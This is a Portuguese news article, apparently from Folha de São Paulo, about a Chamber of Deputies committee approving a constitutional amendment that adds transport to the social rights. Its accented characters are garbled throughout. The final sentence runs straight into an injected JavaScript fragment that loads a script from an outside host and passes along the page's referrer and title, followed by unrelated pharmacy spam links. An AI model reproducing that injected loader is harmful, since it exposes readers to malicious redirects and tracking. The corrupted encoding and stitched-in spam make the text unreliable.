ComissA?o da CA?mara aprova proposta que transforma transporte em direito social
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FOLHA DE SA?O PAULO Pills
MA?RCIO FALCA?O DE BRASA?LIA
Em meio Ai??s manifestaAi??Ai??es que tomam conta das ruas e numa tentativa de criar uma agenda positiva, a CCJ (ComissA?o de ConstituiAi??A?o e JustiAi??a) da CA?mara aprovou nesta terAi??a-feira (25) uma PEC (Proposta de Emenda Ai?? ConstituiAi??A?o) que incluiu transporte entre os direitos sociais previstos na ConstituiAi??A?o.
Com isso, o governo passa a ser obrigado a desenvolver polAi??ticas pA?blicas e investimentos especAi??ficos voltados para o setor, assim como faz com educaAi??A?o e saA?de.
O texto segue para anA?lise de uma comissA?o especial que serA? criada pela Casa e, se aprovado, terA? que ser votado, em dois turnos, pelo plenA?rio da CA?mara, precisando do aval de 308 dos 513 deputados. NA?o hA? prazo para a criaAi??A?o da comissA?o.
A proposta foi apresentada em 2011 pela deputada Luiza Erundina (PSB-SP). Durante o debate, deputados se manifestaram a favor da proposta e disseram que ela responde aos anseios da sociedade que tem ido Ai??s ruas em busca de melhorias no transporte pA?blico. Segundo o lAi??der do PSB, Beto Albuquerque (RS), a proposta exige que os governos estabeleAi??am um novo sistema de transporte pA?blico. “O governo deixa de ser apenas um intermediA?rio e terA? que assegurar o transporte pA?blico com qualidade e nA?o apenas oferecer o transporte”.
Erundina negou que a medida seja uma resposta aos protestos porque estA? para ser analisada desde 2011, mas disse que estA? em sintonia com o movimento.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://gotomeetup.com/2018/03/18/lexapro-price-walgreens/ cost of exelon medication